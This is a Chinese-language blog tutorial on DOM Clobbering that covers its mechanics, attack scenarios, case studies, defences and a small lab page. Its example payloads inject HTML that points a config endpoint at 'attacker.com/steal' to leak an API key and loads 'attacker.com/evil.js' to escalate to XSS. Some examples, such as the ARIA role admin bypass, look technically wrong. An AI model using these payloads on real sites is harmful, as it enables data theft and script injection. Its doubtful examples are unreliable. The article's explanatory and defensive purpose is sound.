DOM Clobbering:HTML注入的另类攻击

作者:Yolo 发布时间: 2026-06-20 阅读量:5

DOM Clobbering:HTML注入的另类攻击

网络安全系列第23篇 | 前端与浏览器安全

引言

提到HTML注入,大多数人第一反应是XSS——通过注入<script>标签执行恶意代码。但有一种更隐蔽、更巧妙的攻击方式:DOM Clobbering(DOM覆写)。它不依赖JavaScript执行,而是利用HTML元素本身来篡改JavaScript变量的行为。这种攻击在2013年被首次提出,近年来随着前端框架的广泛使用,其威胁日益凸显。


一、什么是DOM Clobbering?

核心概念

DOM Clobbering是一种利用HTML元素自动创建全局JavaScript对象的特性来覆盖(clobber)原有变量或对象的攻击技术。

在浏览器中,任何带有idname属性的HTML元素,都会自动在window对象上创建一个同名的属性引用该元素。例如:

<div id="foo"></div>
<script>
console.log(window.foo); // HTMLDivElement
</script>

这个特性原本是为了方便JavaScript操作DOM,但攻击者可以利用它来:


  • 覆盖全局变量

  • 篡改配置对象

  • 劫持代码逻辑流


与XSS的区别

特性XSSDOM Clobbering
需要执行JS
利用方式<script>或事件处理器纯HTML元素
过滤难度较易(过滤script标签)较难(合法HTML)
危害性高(任意代码执行)中(逻辑篡改)

DOM Clobbering通常作为XSS的替代方案权限提升手段使用。


二、攻击原理详解

基础覆写

最简单的DOM Clobbering攻击:

<!-- 攻击者注入的内容 -->
<a id="config"></a>

<!-- 受害网站的代码 -->
<script>
// 原本期望config是一个对象
if (config.debug) {
    console.log("Debug mode");
}
// 现在config是HTMLAnchorElement,config.debug是undefined
</script>

多层对象覆写

更复杂的攻击可以构造嵌套对象:

<!-- 攻击者注入 -->
<a id="app" name="settings"></a>
<a id="app" name="settings" href="javascript:alert(1)"></a>

<script>
// 访问app.settings时,由于多个同名元素,返回HTMLCollection
// HTMLCollection有length属性,某些代码可能误判为数组
console.log(app.settings); // HTMLCollection(2) [a, a]
</script>

利用HTMLCollection的特性

当多个元素共享同一个id时,返回的是HTMLCollection

<form id="x"></form>
<form id="x"></form>

<script>
console.log(x); // HTMLCollection(2)
console.log(x.length); // 2
console.log(x[0]); // 第一个form元素
console.log(x[1]); // 第二个form元素
</script>

攻击者可以利用这个特性来构造满足特定条件检查的对象。

利用form元素的子元素

<form>元素有一个特殊属性:它的子元素会自动成为form对象的属性:

<!-- 攻击者注入 -->
<form id="config">
  <input name="apiKey" value="attacker-controlled">
  <input name="debug" value="true">
</form>

<script>
// 原本期望config是配置对象
console.log(config.apiKey); // "attacker-controlled"
console.log(config.debug); // "true"
</script>

这是DOM Clobbering最危险的变体之一,因为它可以构造出结构完整的"假对象"。


三、真实攻击场景

场景1:配置对象覆写

// 网站的JavaScript
const config = window.config || { apiKey: 'default', endpoint: '/api' };
fetch(config.endpoint + '/data', {
    headers: { 'X-API-Key': config.apiKey }
});

攻击者注入:

<form id="config">
  <input name="endpoint" value="https://attacker.com/steal">
  <input name="apiKey" value="stolen-key">
</form>

结果:数据被发送到攻击者服务器,API密钥泄露。

场景2:函数覆写与逻辑绕过

// 安全检查函数
function isAdmin() {
    return window.user && window.user.role === 'admin';
}

if (isAdmin()) {
    showAdminPanel();
}

攻击者注入:

<a id="user" name="role" href="admin"></a>

由于HTMLAnchorElementrole属性(ARIA),且值为"admin",安全检查被绕过。

场景3:原型链污染的前置条件

DOM Clobbering有时可以作为原型链污染(Prototype Pollution)的入口:

// 网站使用对象合并
const settings = Object.assign({}, window.defaults, window.userPrefs);

如果攻击者能控制userPrefs的创建方式,可能进一步触发原型链污染。

场景4:客户端模板引擎攻击

许多前端模板引擎在渲染时会访问变量:

<!-- Mustache模板 -->
{{#config.debug}}
  <div>Debug info: {{user.password}}</div>
{{/config.debug}}

攻击者通过DOM Clobbering让config.debug为真值,导致敏感信息泄露。


四、高级利用技巧

利用srcdoc和iframe

<iframe srcdoc="
  <a id='top' name='location' href='https://attacker.com'></a>
"></iframe>

在某些情况下可以影响父窗口的变量。

利用SVG元素的命名空间

SVG元素同样可以用于DOM Clobbering:

<svg id="config">
  <a id="config" name="enabled" />
</svg>

利用JavaScript的隐式转换

// 某些代码可能这样检查
if (window.featureFlag == "true") { ... }

// 攻击者注入
<a id="featureFlag" href="true">text</a>

// HTMLAnchorElement的toString()返回href值
// 所以 featureFlag == "true" 可能为真

构造特定类型的对象

通过精心选择HTML元素,可以构造具有特定属性和方法的对象:

目标类型使用元素关键属性
字符串<a>href(toString返回)
数组多元素同idHTMLCollectionlength和索引访问
函数<a>某些情况下可作为函数调用

五、实际案例分析

案例:jQuery的DOM Clobbering漏洞(CVE-2019-11358)

虽然这是原型链污染漏洞,但其利用方式与DOM Clobbering密切相关:

// 漏洞代码
$.extend(true, {}, JSON.parse(maliciousJSON));

攻击者通过控制JSON输入,结合DOM Clobbering控制对象结构,最终污染Object.prototype

案例:Google Search的DOM Clobbering

安全研究人员发现,Google Search的某些页面存在DOM Clobbering漏洞:

  1. 攻击者可以注入带有特定id的HTML
  2. 页面JavaScript依赖这些全局变量进行配置
  3. 通过覆写配置,可以改变搜索行为或泄露数据

案例:现代框架中的隐患

React、Vue等框架虽然使用虚拟DOM,但在以下场景仍可能受影响:


  • SSR(服务端渲染)时的HTML注入

  • dangerouslySetInnerHTML / v-html 的使用

  • 第三方组件的props注入


// 危险的React代码
function UserProfile({ bio }) {
  return <div dangerouslySetInnerHTML={{ __html: bio }} />;
}

如果bio包含<a id="config" ...>,且页面其他部分依赖window.config...


六、检测与防御

防御策略

1. 使用Symbol或闭包避免全局变量

// 不安全
const config = window.config || {};

// 安全
const CONFIG = Symbol('config');
window[CONFIG] = { apiKey: 'secret' };

2. 使用Object.hasOwn()检查属性来源

// 不安全
if (config.debug) { ... }

// 安全
if (Object.hasOwn(config, 'debug') && config.debug) { ... }

3. 使用Map/Set替代对象

// 不安全
const settings = {};
settings[key] = value;

// 安全
const settings = new Map();
settings.set(key, value);

4. 严格的内容安全策略(CSP)

Content-Security-Policy: default-src 'self'; script-src 'self'

虽然CSP主要防御XSS,但也能间接限制DOM Clobbering的利用。

5. HTML净化

使用DOMPurify等库时,确保配置正确:

// 移除id和name属性
DOMPurify.sanitize(dirty, {
    ALLOWED_ATTR: ['href', 'title', 'class'], // 不包含id/name
});

6. 避免使用id/name作为配置键

// 不安全:容易与DOM元素冲突
const element = document.getElementById('config');

// 安全:使用特定前缀
const element = document.getElementById('app-config');

代码审计检查清单

  • [ ] 是否使用全局变量存储配置?
  • [ ] 是否检查对象属性的hasOwnProperty
  • [ ] 是否使用innerHTML/dangerouslySetInnerHTML?
  • [ ] 是否过滤用户输入中的idname属性?
  • [ ] 是否依赖window.xxx作为配置来源?

七、实验环境

简单的测试页面

<!DOCTYPE html>
<html>
<head>
    <title>DOM Clobbering Lab</title>
</head>
<body>
    <h1>DOM Clobbering 测试</h1>
    
    <!-- 模拟用户输入 -->
    <div id="user-content">
        <!-- 在这里插入测试代码 -->
        <a id="config" name="debug" href="true"></a>
    </div>
    
    <script>
        // 模拟网站代码
        console.log("Type of window.config:", typeof window.config);
        console.log("window.config:", window.config);
        
        if (window.config && window.config.debug) {
            console.log("Debug mode enabled!");
        }
    </script>
</body>
</html>

利用DOMPurify测试

<script src="https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.0.1/purify.min.js"></script>
<script>
const dirty = '<a id="config" name="debug"></a>';
const clean = DOMPurify.sanitize(dirty);
console.log(clean); // 检查是否保留了id/name
</script>


八、与其他漏洞的关系

DOM Clobbering → XSS

在某些情况下,DOM Clobbering可以升级为XSS:

// 网站代码
const script = document.createElement('script');
script.src = config.scriptUrl; // 被覆写

攻击者注入:

<a id="config" name="scriptUrl" href="https://attacker.com/evil.js"></a>

DOM Clobbering → 原型链污染

// 合并对象时
const merged = _.merge({}, window.defaults);

如果window.defaults被DOM Clobbering控制,可能注入污染原型的属性。

DOM Clobbering → 开放重定向

window.location = config.redirectUrl || '/home';

攻击者通过覆写config.redirectUrl实现钓鱼攻击。


九、现代浏览器的缓解措施

HTML标准的变化

WHATWG正在讨论限制DOM Clobbering的可能性:


  • 考虑移除或限制id/name自动创建全局变量的行为

  • 但由于兼容性问题,短期内不太可能实现


浏览器实现差异

不同浏览器对DOM Clobbering的处理略有差异:


  • Chrome/Firefox:标准行为

  • Safari:某些情况下对name属性的处理不同


未来方向

  • Trusted Types:强制要求使用受信任的HTML字符串
  • CSP nonce/hash:限制内联脚本执行
  • 新的HTML规范:可能引入更严格的DOM属性隔离

十、总结

DOM Clobbering是一种被低估但极具威胁的攻击技术。它的核心危险在于:

  1. 不需要JavaScript执行:纯HTML即可攻击
  2. 难以过滤idname是合法属性
  3. 影响深远:可以篡改配置、绕过检查、甚至升级为XSS
  4. 现代框架不免疫:SSR和原始HTML插入仍有风险

关键防御原则

  1. 不信任全局变量:避免使用window.xxx作为配置
  2. 严格输入验证:过滤或转义idname属性
  3. 使用现代数据结构:Map/Set/Symbol替代普通对象
  4. 代码审计:重点检查配置读取和对象合并逻辑

参考资源


网络安全系列文章,每周更新。如有疑问或建议,欢迎留言讨论。